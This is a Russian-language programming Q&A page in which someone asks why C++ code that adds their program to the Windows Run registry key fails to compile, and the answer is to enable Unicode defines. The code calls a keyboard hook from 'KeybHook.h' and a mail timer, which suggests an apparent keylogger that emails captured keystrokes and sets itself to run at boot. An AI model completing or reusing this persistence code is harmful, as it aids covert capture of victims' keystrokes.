winapi — проблема с ключом реестра C ++

У меня проблема с некоторым кодом C ++.

Если быть более точным, я хочу, когда программа, которая работает, чтобы зарегистрировать ключ реестра для автоматического запуска при загрузке Windows.
Остальная часть кода помещена в другой заголовок, и я думаю, что вам, ребята, это не нужно.

#include <iostream>
#include <windows.h>
#include "KeybHook.h"using namespace std;

int main ()
{
MSG Msg;
IO::MkDir (IO::GetOurPath (true));
InstalHook ();
while (GetMessage (&Msg, NULL, 0, 0))
{
TranslateMessage(&Msg);
DispatchMessage(&Msg);
}
MailTimer.Stop ();
std::wstring progPath = L"C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\MyApp.exe";
HKEY hkey = NULL;
LONG createStatus = RegCreateKey(HKEY_CURRENT_USER, L"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", &hkey); //Creates a key
LONG status = RegSetValueEx(hkey, L"MyApp", 0, REG_SZ, (BYTE *)progPath.c_str(), (progPath.size()+1) * sizeof(wchar_t));
return 0;
}

И я получаю эту ошибку при компиляции

main.cpp||In function 'int main()':|
main.cpp|35|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegCreateKeyA(HKEY, LPCSTR, PHKEY)'|
main.cpp|36|error: cannot convert 'const wchar_t*' to 'LPCSTR {aka const char*}' for argument '2' to 'LONG RegSetValueExA(HKEY, LPCSTR, DWORD, DWORD, const BYTE*, DWORD)'|
||=== Build failed: 2 error(s), 8 warning(s) (0 minute(s), 1 second(s)) ===|

1

Решение

Вы используете ANSI-версии API-интерфейсов Windows, но у вас есть строки Unicode.

Вам следует #define UNICODE а также #define _UNICODE (вам нужно и то, и другое: одно для API Windows и другое для среды выполнения C).

Если вы строите в проекте Visual Studio, вы можете определить их без редактирования кода, включив «Использовать набор символов Unicode» в настройках проекта в разделе «Общие / Набор символов».

3

Другие решения

Других решений пока нет …